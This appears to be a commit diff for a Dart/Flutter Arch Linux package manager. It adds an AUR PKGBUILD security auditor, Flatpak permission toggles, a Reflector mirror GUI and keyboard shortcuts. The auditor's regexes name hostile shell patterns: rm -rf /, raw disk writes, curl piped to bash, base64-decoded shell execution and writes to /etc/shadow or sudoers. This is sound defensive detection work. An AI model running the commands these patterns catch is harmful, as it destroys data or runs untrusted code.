feat: Add AUR PKGBUILD audit, Reflector GUI, Flatpak permissions & shortcuts
This commit is contained in:
@@ -0,0 +1,243 @@
|
|||||||
|
import 'dart:convert';
|
||||||
|
import 'dart:io';
|
||||||
|
|
||||||
|
/// Уровень серьезности проверки безопасности PKGBUILD
|
||||||
|
enum SecuritySeverity {
|
||||||
|
safe,
|
||||||
|
warning,
|
||||||
|
danger,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Отдельная обнаруженная проблема или замечание в PKGBUILD
|
||||||
|
class SecurityIssue {
|
||||||
|
final int lineNumber;
|
||||||
|
final String lineContent;
|
||||||
|
final SecuritySeverity severity;
|
||||||
|
final String ruleName;
|
||||||
|
final String description;
|
||||||
|
|
||||||
|
const SecurityIssue({
|
||||||
|
required this.lineNumber,
|
||||||
|
required this.lineContent,
|
||||||
|
required this.severity,
|
||||||
|
required this.ruleName,
|
||||||
|
required this.description,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Результат статического аудита PKGBUILD
|
||||||
|
class PkgbuildAuditResult {
|
||||||
|
final SecuritySeverity overallSeverity;
|
||||||
|
final List<SecurityIssue> issues;
|
||||||
|
final String summary;
|
||||||
|
|
||||||
|
const PkgbuildAuditResult({
|
||||||
|
required this.overallSeverity,
|
||||||
|
required this.issues,
|
||||||
|
required this.summary,
|
||||||
|
});
|
||||||
|
|
||||||
|
bool get isSafe => overallSeverity == SecuritySeverity.safe;
|
||||||
|
bool get hasWarnings => overallSeverity == SecuritySeverity.warning;
|
||||||
|
bool get hasDanger => overallSeverity == SecuritySeverity.danger;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Сервис загрузки и анализа PKGBUILD
|
||||||
|
class AurPkgbuildService {
|
||||||
|
/// Получение содержимого PKGBUILD для пакета AUR
|
||||||
|
static Future<String?> fetchPkgbuild(String packageName) async {
|
||||||
|
final cleanName = packageName.trim();
|
||||||
|
if (cleanName.isEmpty) return null;
|
||||||
|
|
||||||
|
// 1. Попытка загрузить через официальный AUR cgit
|
||||||
|
try {
|
||||||
|
final client = HttpClient();
|
||||||
|
client.connectionTimeout = const Duration(seconds: 6);
|
||||||
|
final uri = Uri.parse(
|
||||||
|
'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}',
|
||||||
|
);
|
||||||
|
final req = await client.getUrl(uri);
|
||||||
|
final res = await req.close();
|
||||||
|
|
||||||
|
if (res.statusCode == 200) {
|
||||||
|
final body = await res.transform(utf8.decoder).join();
|
||||||
|
if (body.trim().isNotEmpty && !body.contains('404 Not Found')) {
|
||||||
|
return body;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
|
|
||||||
|
// 2. Fallback через curl
|
||||||
|
try {
|
||||||
|
final curlRes = await Process.run('curl', [
|
||||||
|
'-sL',
|
||||||
|
'--max-time',
|
||||||
|
'6',
|
||||||
|
'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}',
|
||||||
|
]);
|
||||||
|
if (curlRes.exitCode == 0) {
|
||||||
|
final stdout = curlRes.stdout.toString();
|
||||||
|
if (stdout.trim().isNotEmpty && !stdout.contains('404 Not Found')) {
|
||||||
|
return stdout;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
|
|
||||||
|
// 3. Fallback через локальный helper (paru -Gp / yay -Gp)
|
||||||
|
for (final helper in ['paru', 'yay']) {
|
||||||
|
try {
|
||||||
|
final res = await Process.run(helper, ['-Gp', cleanName]);
|
||||||
|
if (res.exitCode == 0 && res.stdout.toString().trim().isNotEmpty) {
|
||||||
|
return res.stdout.toString();
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Статический аудит безопасности скрипта PKGBUILD
|
||||||
|
static PkgbuildAuditResult audit(String content) {
|
||||||
|
final issues = <SecurityIssue>[];
|
||||||
|
final lines = content.split('\n');
|
||||||
|
|
||||||
|
bool inFunction = false;
|
||||||
|
String currentFunc = '';
|
||||||
|
|
||||||
|
for (int i = 0; i < lines.length; i++) {
|
||||||
|
final rawLine = lines[i];
|
||||||
|
final line = rawLine.trim();
|
||||||
|
final lineNum = i + 1;
|
||||||
|
|
||||||
|
// Пропускаем комментарии
|
||||||
|
if (line.startsWith('#') || line.isEmpty) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Отслеживание функций (build(), package(), prepare())
|
||||||
|
final funcMatch = RegExp(r'^(build|package|prepare|check)\s*\(\)').firstMatch(line);
|
||||||
|
if (funcMatch != null) {
|
||||||
|
inFunction = true;
|
||||||
|
currentFunc = funcMatch.group(1) ?? '';
|
||||||
|
}
|
||||||
|
if (line.startsWith('}')) {
|
||||||
|
inFunction = false;
|
||||||
|
currentFunc = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. КРИТИЧЕСКИЕ ПРОВЕРКИ (DANGER)
|
||||||
|
|
||||||
|
// Деструктивные команды файловой системы
|
||||||
|
if (RegExp(r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*f*|-f[a-zA-Z]*r[a-zA-Z]*)\s+(/|\$HOME|~|/\*)(\s|$)').hasMatch(line) ||
|
||||||
|
RegExp(r'\brm\s+-rf\s+/\b').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.danger,
|
||||||
|
ruleName: 'destructive_command',
|
||||||
|
description: 'Обнаружена опасная команда удаления файлов корня или домашней папки (rm -rf /).',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Прямое форматирование дисков или запись в raw-устройства
|
||||||
|
if (RegExp(r'\b(mkfs|fdisk|parted|dd\s+if=.*of=/dev/)').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.danger,
|
||||||
|
ruleName: 'raw_disk_write',
|
||||||
|
description: 'Попытка форматирования или прямой записи в блочные устройства дисков.',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Попытка запуска с правами суперпользователя внутри PKGBUILD
|
||||||
|
if (RegExp(r'\b(sudo|pkexec|su|doas)\s+').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.danger,
|
||||||
|
ruleName: 'privilege_escalation',
|
||||||
|
description: 'Использование sudo/pkexec недопустимо в PKGBUILD (makepkg собирает пакет от обычного пользователя).',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Загрузка и немедленный запуск внешних скриптов (curl | bash)
|
||||||
|
if (RegExp(r'\b(curl|wget|fetch)\b.*\|\s*(bash|sh|zsh|python|perl)').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.danger,
|
||||||
|
ruleName: 'pipe_to_shell',
|
||||||
|
description: 'Выполнение кода напрямую из интернета через канал (curl | bash). Все исходники должны объявляться в source=().',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Обфускация кода через base64 или eval
|
||||||
|
if (RegExp(r'\b(base64\s+-d|openssl\s+enc\s+-d)\b.*\|\s*(bash|sh)').hasMatch(line) ||
|
||||||
|
RegExp(r'\beval\s+[\$\(]').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.danger,
|
||||||
|
ruleName: 'code_obfuscation',
|
||||||
|
description: 'Обнаружена подозрительная обфускация или динамическое выполнение кода (eval / base64 -d).',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. ПРЕДУПРЕЖДЕНИЯ (WARNING)
|
||||||
|
|
||||||
|
// Сетевые запросы внутри build() или package()
|
||||||
|
if (inFunction && (currentFunc == 'build' || currentFunc == 'package')) {
|
||||||
|
if (RegExp(r'\b(git\s+clone|curl|wget)\b').hasMatch(line) && !line.startsWith('echo')) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.warning,
|
||||||
|
ruleName: 'network_in_build',
|
||||||
|
description: 'Сетевой запрос внутри функции $currentFunc(). Рекомендуется загружать исходники через секцию source=().',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Опасные разрешения файлов
|
||||||
|
if (RegExp(r'\bchmod\s+(777|a\+rwx|u\+s)\b').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.warning,
|
||||||
|
ruleName: 'loose_permissions',
|
||||||
|
description: 'Установка небезопасных прав доступа к файлам (chmod 777 или SUID).',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Изменение системных конфигураций напрямую
|
||||||
|
if (RegExp(r'>\s*/etc/(passwd|shadow|sudoers|pam\.d)').hasMatch(line)) {
|
||||||
|
issues.add(SecurityIssue(
|
||||||
|
lineNumber: lineNum,
|
||||||
|
lineContent: rawLine,
|
||||||
|
severity: SecuritySeverity.danger,
|
||||||
|
ruleName: 'critical_config_overwrite',
|
||||||
|
description: 'Попытка прямой модификации критических системных файлов аутентификации.',
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Итоговый вердикт
|
||||||
|
SecuritySeverity overall = SecuritySeverity.safe;
|
||||||
|
String summary = 'Скрипт сборки проверен. Подозрительных или опасных команд не обнаружено.';
|
||||||
|
|
||||||
|
if (issues.any((i) => i.severity == SecuritySeverity.danger)) {
|
||||||
|
overall = SecuritySeverity.danger;
|
||||||
|
summary = 'ВНИМАНИЕ! Обнаружены потенциально опасные команды, которые могут повредить систему.';
|
||||||
|
} else if (issues.any((i) => i.severity == SecuritySeverity.warning)) {
|
||||||
|
overall = SecuritySeverity.warning;
|
||||||
|
summary = 'Обнаружены нестандартные операции сборщика, рекомендуем ознакомиться с кодом.';
|
||||||
|
}
|
||||||
|
|
||||||
|
return PkgbuildAuditResult(
|
||||||
|
overallSeverity: overall,
|
||||||
|
issues: issues,
|
||||||
|
summary: summary,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,232 @@
|
|||||||
|
import 'dart:io';
|
||||||
|
|
||||||
|
enum FlatpakPermissionType {
|
||||||
|
network,
|
||||||
|
filesystemHome,
|
||||||
|
filesystemHost,
|
||||||
|
socketWayland,
|
||||||
|
socketX11,
|
||||||
|
socketPulseaudio,
|
||||||
|
deviceDri,
|
||||||
|
}
|
||||||
|
|
||||||
|
class FlatpakAppPermissions {
|
||||||
|
final String appId;
|
||||||
|
final bool network;
|
||||||
|
final bool filesystemHome;
|
||||||
|
final bool filesystemHost;
|
||||||
|
final bool socketWayland;
|
||||||
|
final bool socketX11;
|
||||||
|
final bool socketPulseaudio;
|
||||||
|
final bool deviceDri;
|
||||||
|
final bool hasOverrides;
|
||||||
|
|
||||||
|
const FlatpakAppPermissions({
|
||||||
|
required this.appId,
|
||||||
|
required this.network,
|
||||||
|
required this.filesystemHome,
|
||||||
|
required this.filesystemHost,
|
||||||
|
required this.socketWayland,
|
||||||
|
required this.socketX11,
|
||||||
|
required this.socketPulseaudio,
|
||||||
|
required this.deviceDri,
|
||||||
|
required this.hasOverrides,
|
||||||
|
});
|
||||||
|
|
||||||
|
FlatpakAppPermissions copyWith({
|
||||||
|
bool? network,
|
||||||
|
bool? filesystemHome,
|
||||||
|
bool? filesystemHost,
|
||||||
|
bool? socketWayland,
|
||||||
|
bool? socketX11,
|
||||||
|
bool? socketPulseaudio,
|
||||||
|
bool? deviceDri,
|
||||||
|
bool? hasOverrides,
|
||||||
|
}) {
|
||||||
|
return FlatpakAppPermissions(
|
||||||
|
appId: appId,
|
||||||
|
network: network ?? this.network,
|
||||||
|
filesystemHome: filesystemHome ?? this.filesystemHome,
|
||||||
|
filesystemHost: filesystemHost ?? this.filesystemHost,
|
||||||
|
socketWayland: socketWayland ?? this.socketWayland,
|
||||||
|
socketX11: socketX11 ?? this.socketX11,
|
||||||
|
socketPulseaudio: socketPulseaudio ?? this.socketPulseaudio,
|
||||||
|
deviceDri: deviceDri ?? this.deviceDri,
|
||||||
|
hasOverrides: hasOverrides ?? this.hasOverrides,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class FlatpakPermissionsService {
|
||||||
|
/// Получение текущего статуса разрешений (учитывая манифест пакета и переопределения пользователя)
|
||||||
|
static Future<FlatpakAppPermissions?> getPermissions(String appId) async {
|
||||||
|
final cleanId = appId.trim();
|
||||||
|
if (cleanId.isEmpty) return null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
// 1. Получаем базовый манифест приложения
|
||||||
|
final infoRes = await Process.run('flatpak', ['info', '-m', cleanId]);
|
||||||
|
if (infoRes.exitCode != 0) return null;
|
||||||
|
|
||||||
|
final manifestText = infoRes.stdout.toString();
|
||||||
|
|
||||||
|
// 2. Получаем пользовательские переопределения
|
||||||
|
final overrideRes = await Process.run('flatpak', ['override', '--user', '--show', cleanId]);
|
||||||
|
final overrideText = overrideRes.exitCode == 0 ? overrideRes.stdout.toString() : '';
|
||||||
|
|
||||||
|
return parsePermissions(cleanId, manifestText, overrideText);
|
||||||
|
} catch (_) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Парсер манифеста и оверрайдов (публичный для модульного тестирования)
|
||||||
|
static FlatpakAppPermissions parsePermissions(String appId, String manifest, String overrides) {
|
||||||
|
// Вспомогательная функция парсинга секции [Context]
|
||||||
|
Map<String, Set<String>> parseContext(String text) {
|
||||||
|
final map = <String, Set<String>>{};
|
||||||
|
bool inContext = false;
|
||||||
|
for (final line in text.split('\n')) {
|
||||||
|
final trimmed = line.trim();
|
||||||
|
if (trimmed == '[Context]') {
|
||||||
|
inContext = true;
|
||||||
|
continue;
|
||||||
|
} else if (trimmed.startsWith('[') && trimmed.endsWith(']')) {
|
||||||
|
inContext = false;
|
||||||
|
}
|
||||||
|
if (inContext && trimmed.contains('=')) {
|
||||||
|
final parts = trimmed.split('=');
|
||||||
|
final key = parts[0].trim();
|
||||||
|
final values = parts[1].split(';').map((e) => e.trim()).where((e) => e.isNotEmpty).toSet();
|
||||||
|
map[key] = values;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
|
||||||
|
final base = parseContext(manifest);
|
||||||
|
final user = parseContext(overrides);
|
||||||
|
|
||||||
|
bool checkPermission({
|
||||||
|
required String key,
|
||||||
|
required String positiveValue,
|
||||||
|
required String negativeValue,
|
||||||
|
bool defaultIfMissing = false,
|
||||||
|
}) {
|
||||||
|
final userSet = user[key] ?? {};
|
||||||
|
if (userSet.contains(negativeValue) || userSet.contains('!$positiveValue')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (userSet.contains(positiveValue)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final baseSet = base[key] ?? {};
|
||||||
|
if (baseSet.contains(negativeValue) || baseSet.contains('!$positiveValue')) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (baseSet.contains(positiveValue)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return defaultIfMissing;
|
||||||
|
}
|
||||||
|
|
||||||
|
final net = checkPermission(
|
||||||
|
key: 'shared',
|
||||||
|
positiveValue: 'network',
|
||||||
|
negativeValue: '!network',
|
||||||
|
);
|
||||||
|
|
||||||
|
final fsHome = checkPermission(
|
||||||
|
key: 'filesystems',
|
||||||
|
positiveValue: 'home',
|
||||||
|
negativeValue: '!home',
|
||||||
|
) || (base['filesystems']?.contains('host') ?? false) && !(user['filesystems']?.contains('!host') ?? false);
|
||||||
|
|
||||||
|
final fsHost = checkPermission(
|
||||||
|
key: 'filesystems',
|
||||||
|
positiveValue: 'host',
|
||||||
|
negativeValue: '!host',
|
||||||
|
);
|
||||||
|
|
||||||
|
final wayland = checkPermission(
|
||||||
|
key: 'sockets',
|
||||||
|
positiveValue: 'wayland',
|
||||||
|
negativeValue: '!wayland',
|
||||||
|
defaultIfMissing: (base['sockets']?.contains('fallback-x11') ?? false),
|
||||||
|
);
|
||||||
|
|
||||||
|
final x11 = checkPermission(
|
||||||
|
key: 'sockets',
|
||||||
|
positiveValue: 'x11',
|
||||||
|
negativeValue: '!x11',
|
||||||
|
);
|
||||||
|
|
||||||
|
final pulse = checkPermission(
|
||||||
|
key: 'sockets',
|
||||||
|
positiveValue: 'pulseaudio',
|
||||||
|
negativeValue: '!pulseaudio',
|
||||||
|
);
|
||||||
|
|
||||||
|
final dri = checkPermission(
|
||||||
|
key: 'devices',
|
||||||
|
positiveValue: 'dri',
|
||||||
|
negativeValue: '!dri',
|
||||||
|
) || (base['devices']?.contains('all') ?? false);
|
||||||
|
|
||||||
|
final hasUserOverrides = overrides.trim().isNotEmpty && !overrides.contains('No override');
|
||||||
|
|
||||||
|
return FlatpakAppPermissions(
|
||||||
|
appId: appId,
|
||||||
|
network: net,
|
||||||
|
filesystemHome: fsHome,
|
||||||
|
filesystemHost: fsHost,
|
||||||
|
socketWayland: wayland,
|
||||||
|
socketX11: x11,
|
||||||
|
socketPulseaudio: pulse,
|
||||||
|
deviceDri: dri,
|
||||||
|
hasOverrides: hasUserOverrides,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Изменение отдельного разрешения без прав root
|
||||||
|
static Future<bool> setPermission(String appId, FlatpakPermissionType type, bool enabled) async {
|
||||||
|
final flag = _getOverrideFlag(type, enabled);
|
||||||
|
try {
|
||||||
|
final res = await Process.run('flatpak', ['override', '--user', flag, appId]);
|
||||||
|
return res.exitCode == 0;
|
||||||
|
} catch (_) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Сброс всех пользовательских переопределений для приложения
|
||||||
|
static Future<bool> resetPermissions(String appId) async {
|
||||||
|
try {
|
||||||
|
final res = await Process.run('flatpak', ['override', '--user', '--reset', appId]);
|
||||||
|
return res.exitCode == 0;
|
||||||
|
} catch (_) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static String _getOverrideFlag(FlatpakPermissionType type, bool enabled) {
|
||||||
|
switch (type) {
|
||||||
|
case FlatpakPermissionType.network:
|
||||||
|
return enabled ? '--share=network' : '--unshare=network';
|
||||||
|
case FlatpakPermissionType.filesystemHome:
|
||||||
|
return enabled ? '--filesystem=home' : '--nofilesystem=home';
|
||||||
|
case FlatpakPermissionType.filesystemHost:
|
||||||
|
return enabled ? '--filesystem=host' : '--nofilesystem=host';
|
||||||
|
case FlatpakPermissionType.socketWayland:
|
||||||
|
return enabled ? '--socket=wayland' : '--nosocket=wayland';
|
||||||
|
case FlatpakPermissionType.socketX11:
|
||||||
|
return enabled ? '--socket=x11' : '--nosocket=x11';
|
||||||
|
case FlatpakPermissionType.socketPulseaudio:
|
||||||
|
return enabled ? '--socket=pulseaudio' : '--nosocket=pulseaudio';
|
||||||
|
case FlatpakPermissionType.deviceDri:
|
||||||
|
return enabled ? '--device=dri' : '--nodevice=dri';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,188 @@
|
|||||||
|
import 'dart:io';
|
||||||
|
import 'admin_service.dart';
|
||||||
|
|
||||||
|
class ReflectorCountry {
|
||||||
|
final String name;
|
||||||
|
final String code;
|
||||||
|
final int count;
|
||||||
|
|
||||||
|
const ReflectorCountry({
|
||||||
|
required this.name,
|
||||||
|
required this.code,
|
||||||
|
required this.count,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
class ReflectorMirror {
|
||||||
|
final String url;
|
||||||
|
final String? country;
|
||||||
|
|
||||||
|
const ReflectorMirror({
|
||||||
|
required this.url,
|
||||||
|
this.country,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
class ReflectorService {
|
||||||
|
static List<ReflectorCountry>? _cachedCountries;
|
||||||
|
|
||||||
|
/// Проверка доступности утилиты reflector в системе
|
||||||
|
static Future<bool> isAvailable() async {
|
||||||
|
try {
|
||||||
|
final res = await Process.run('which', ['reflector']);
|
||||||
|
return res.exitCode == 0;
|
||||||
|
} catch (_) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Получение списка поддерживаемых стран
|
||||||
|
static Future<List<ReflectorCountry>> getCountries() async {
|
||||||
|
if (_cachedCountries != null) return _cachedCountries!;
|
||||||
|
|
||||||
|
final list = <ReflectorCountry>[];
|
||||||
|
try {
|
||||||
|
final res = await Process.run('reflector', ['--list-countries']);
|
||||||
|
if (res.exitCode == 0) {
|
||||||
|
final lines = res.stdout.toString().split('\n');
|
||||||
|
// Пропускаем первые 2 строки заголовка
|
||||||
|
for (int i = 2; i < lines.length; i++) {
|
||||||
|
final line = lines[i].trim();
|
||||||
|
if (line.isEmpty) continue;
|
||||||
|
// Формат: Country (20 chars) Code (4 chars) Count
|
||||||
|
// Либо через регулярное выражение
|
||||||
|
final match = RegExp(r'^(.*?)\s+([A-Z]{2})\s+(\d+)$').firstMatch(line);
|
||||||
|
if (match != null) {
|
||||||
|
final name = match.group(1)!.trim();
|
||||||
|
final code = match.group(2)!.trim();
|
||||||
|
final count = int.tryParse(match.group(3)!) ?? 0;
|
||||||
|
list.add(ReflectorCountry(name: name, code: code, count: count));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
|
|
||||||
|
if (list.isEmpty) {
|
||||||
|
// Fallback на базовые популярные страны
|
||||||
|
list.addAll(const [
|
||||||
|
ReflectorCountry(name: 'Germany', code: 'DE', count: 50),
|
||||||
|
ReflectorCountry(name: 'Russia', code: 'RU', count: 15),
|
||||||
|
ReflectorCountry(name: 'Netherlands', code: 'NL', count: 30),
|
||||||
|
ReflectorCountry(name: 'United States', code: 'US', count: 70),
|
||||||
|
ReflectorCountry(name: 'France', code: 'FR', count: 25),
|
||||||
|
ReflectorCountry(name: 'Finland', code: 'FI', count: 10),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
_cachedCountries = list;
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Получение текущих активных зеркал из /etc/pacman.d/mirrorlist
|
||||||
|
static Future<List<String>> getCurrentActiveMirrors() async {
|
||||||
|
final file = File('/etc/pacman.d/mirrorlist');
|
||||||
|
if (!file.existsSync()) return [];
|
||||||
|
|
||||||
|
final active = <String>[];
|
||||||
|
try {
|
||||||
|
final lines = await file.readAsLines();
|
||||||
|
for (final line in lines) {
|
||||||
|
final trimmed = line.trim();
|
||||||
|
if (trimmed.startsWith('Server') && trimmed.contains('=')) {
|
||||||
|
final parts = trimmed.split('=');
|
||||||
|
if (parts.length > 1) {
|
||||||
|
active.add(parts[1].trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
|
return active;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Предпросмотр зеркал без записи в систему (Dry run)
|
||||||
|
static Future<List<String>> previewMirrors({
|
||||||
|
String? country,
|
||||||
|
int latest = 5,
|
||||||
|
bool httpsOnly = true,
|
||||||
|
String sort = 'rate',
|
||||||
|
}) async {
|
||||||
|
final args = <String>[
|
||||||
|
'--latest', latest.toString(),
|
||||||
|
'--sort', sort,
|
||||||
|
];
|
||||||
|
|
||||||
|
if (httpsOnly) {
|
||||||
|
args.addAll(['--protocol', 'https']);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (country != null && country.isNotEmpty && country != 'All') {
|
||||||
|
args.addAll(['--country', country]);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
final res = await Process.run('reflector', args);
|
||||||
|
if (res.exitCode == 0) {
|
||||||
|
final mirrors = <String>[];
|
||||||
|
final lines = res.stdout.toString().split('\n');
|
||||||
|
for (final line in lines) {
|
||||||
|
final trimmed = line.trim();
|
||||||
|
if (trimmed.startsWith('Server') && trimmed.contains('=')) {
|
||||||
|
final parts = trimmed.split('=');
|
||||||
|
if (parts.length > 1) {
|
||||||
|
mirrors.add(parts[1].trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mirrors;
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
|
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Применение зеркал: создание бэкапа и сохранение через reflector --save
|
||||||
|
static Future<bool> applyMirrors(
|
||||||
|
String? password, {
|
||||||
|
String? country,
|
||||||
|
int latest = 10,
|
||||||
|
bool httpsOnly = true,
|
||||||
|
String sort = 'rate',
|
||||||
|
}) async {
|
||||||
|
// 1. Делаем бэкап существующего mirrorlist
|
||||||
|
try {
|
||||||
|
final cpProc = await AdminService.runPrivileged(
|
||||||
|
password,
|
||||||
|
'cp',
|
||||||
|
['-f', '/etc/pacman.d/mirrorlist', '/etc/pacman.d/mirrorlist.forge-bak'],
|
||||||
|
);
|
||||||
|
await cpProc.exitCode;
|
||||||
|
} catch (_) {}
|
||||||
|
|
||||||
|
// 2. Формируем аргументы reflector
|
||||||
|
final args = <String>[
|
||||||
|
'--latest', latest.toString(),
|
||||||
|
'--sort', sort,
|
||||||
|
'--save', '/etc/pacman.d/mirrorlist',
|
||||||
|
];
|
||||||
|
|
||||||
|
if (httpsOnly) {
|
||||||
|
args.addAll(['--protocol', 'https']);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (country != null && country.isNotEmpty && country != 'All') {
|
||||||
|
args.addAll(['--country', country]);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
final proc = await AdminService.runPrivileged(
|
||||||
|
password,
|
||||||
|
'reflector',
|
||||||
|
args,
|
||||||
|
);
|
||||||
|
final exitCode = await proc.exitCode;
|
||||||
|
return exitCode == 0;
|
||||||
|
} catch (_) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -14,6 +14,7 @@ import 'screens/installed_screen.dart';
|
|||||||
import 'screens/settings_screen.dart';
|
import 'screens/settings_screen.dart';
|
||||||
import 'screens/starter_packs_screen.dart';
|
import 'screens/starter_packs_screen.dart';
|
||||||
import 'screens/updates_screen.dart';
|
import 'screens/updates_screen.dart';
|
||||||
|
import 'widgets/keyboard_shortcuts_dialog.dart';
|
||||||
import 'widgets/package_inspector.dart';
|
import 'widgets/package_inspector.dart';
|
||||||
import 'widgets/spotlight_search_dialog.dart';
|
import 'widgets/spotlight_search_dialog.dart';
|
||||||
|
|
||||||
@@ -69,6 +70,17 @@ class _MainLayoutState extends State<MainLayout> {
|
|||||||
bindings: {
|
bindings: {
|
||||||
const SingleActivator(LogicalKeyboardKey.keyK, control: true): _openSpotlight,
|
const SingleActivator(LogicalKeyboardKey.keyK, control: true): _openSpotlight,
|
||||||
const SingleActivator(LogicalKeyboardKey.keyK, meta: true): _openSpotlight,
|
const SingleActivator(LogicalKeyboardKey.keyK, meta: true): _openSpotlight,
|
||||||
|
const SingleActivator(LogicalKeyboardKey.slash, control: true): () => KeyboardShortcutsDialog.show(context),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.f1): () => KeyboardShortcutsDialog.show(context),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.keyR, control: true): _performInitialBadgeScan,
|
||||||
|
const SingleActivator(LogicalKeyboardKey.f5): _performInitialBadgeScan,
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit1, control: true): () => setState(() => _pageIndex = 0),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit2, control: true): () => setState(() => _pageIndex = 1),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit3, control: true): () => setState(() => _pageIndex = 2),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit4, control: true): () => setState(() => _pageIndex = 3),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit5, control: true): () => setState(() => _pageIndex = 4),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit6, control: true): () => setState(() => _pageIndex = 5),
|
||||||
|
const SingleActivator(LogicalKeyboardKey.digit7, control: true): () => setState(() => _pageIndex = 6),
|
||||||
},
|
},
|
||||||
child: Focus(
|
child: Focus(
|
||||||
autofocus: true,
|
autofocus: true,
|
||||||
@@ -143,6 +155,13 @@ class _MainLayoutState extends State<MainLayout> {
|
|||||||
],
|
],
|
||||||
),
|
),
|
||||||
),
|
),
|
||||||
|
MacosTooltip(
|
||||||
|
message: 'Горячие клавиши (F1 / Ctrl+/)',
|
||||||
|
child: MacosIconButton(
|
||||||
|
icon: const MacosIcon(CupertinoIcons.keyboard, size: 14),
|
||||||
|
onPressed: () => KeyboardShortcutsDialog.show(context),
|
||||||
|
),
|
||||||
|
),
|
||||||
],
|
],
|
||||||
),
|
),
|
||||||
const SizedBox(height: 12),
|
const SizedBox(height: 12),
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import 'package:macos_ui/macos_ui.dart';
|
|||||||
import '../../services/admin_service.dart';
